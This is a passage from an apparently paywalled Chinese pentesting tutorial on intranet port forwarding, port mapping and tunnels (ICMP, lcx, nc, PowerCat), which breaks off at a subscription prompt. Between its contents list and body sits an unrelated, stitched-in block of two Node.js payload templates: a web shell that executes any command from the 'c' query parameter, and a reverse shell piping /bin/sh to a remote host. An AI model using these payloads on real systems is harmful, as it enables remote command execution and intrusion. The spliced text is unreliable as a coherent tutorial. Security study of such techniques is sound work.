超级会员免费看
本文详细介绍了内网渗透中的端口转发和代理技术，包括端口转发和端口映射的概念及区别。重点讨论了通信隧道的搭建，涵盖网络层的IPv6和ICMP隧道，以及传输层的lcx和nc端口转发。通过实例演示了如何使用这些工具进行端口转发和内网通信，包括ICMP隧道工具如icmpsh、Pingtunnel和icmptunnel的使用，以及nc的多种功能。此外，还介绍了PowerCat作为PowerShell版的nc，用于建立隧道和传输文件。
内网通信隧道搭建
- 一、内网端口转发和代理
- 二、通信隧道的搭建技术
- Author: Andre Lima @0x4ndr3
- Blog post: https://pentesterslife.blog/
- (function x(){
- require('http').createServer(
- function(req,res){
- res.writeHead(200,{"Content-Type":"text/plain"}
- );
- require('child_process').exec(require('url').parse(req.url,true).query['c'],
- function(e,s,st){
- res.end(s)
- }
- )
- }
- ).listen(%s)
- })()
- (function(){
- var net = require("net"),
- cp = require("child_process"),
- sh = cp.spawn("/bin/sh", []);
- var client = new net.Socket();
- client.connect(%s, "%s", function(){
- client.pipe(sh.stdin);
- sh.stdout.pipe(client);
- sh.stderr.pipe(client);
- });
- return /pwned/; // Prevents the Node.js app from crashing
- })()
一、内网端口转发和代理
在实际渗透过程中，我们成功入侵了目标服务器。接着我们想在本机上通过浏览器 或者其他客户端软件访问目标机器内部网络中所开放的端口，比如内网的3389端 口、内网网站8080端口等等。传统的方法是利用nc、lcx等工具，进行端口转发。
1.1 什么是端口转发
端口转发就是将一个端口，这个端口可以本机的端口也可以是本机可以访问到的任 意主机的端口，转发到任意一台可以访问到的IP上，通常这个IP是公网IP。
适用端口转发的网络环境有以下几种：
1. 服务器处于内网，可以访问外部网络。
2. 服务器处于外网，可以访问外部网络，但是服务器安装了防火墙来拒绝敏感端口的连接。
3. 服务器处于内网，对外只开放了80端口，并且服务器不能访问外网网络。
1.2 什么是端口映射
映射端口，就是将一个内网端口映射到公网上的某个端口，假设我自己的电脑是在 内网中，没有公网IP，但是我想提供一个端口供其他人使用，这就是端口映射。
1.3 端口转发和端口映射的区别
端口映射场景：
外网主机A想访问内网主机B上的服务
订阅专栏 解锁全文
扫一扫
310
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
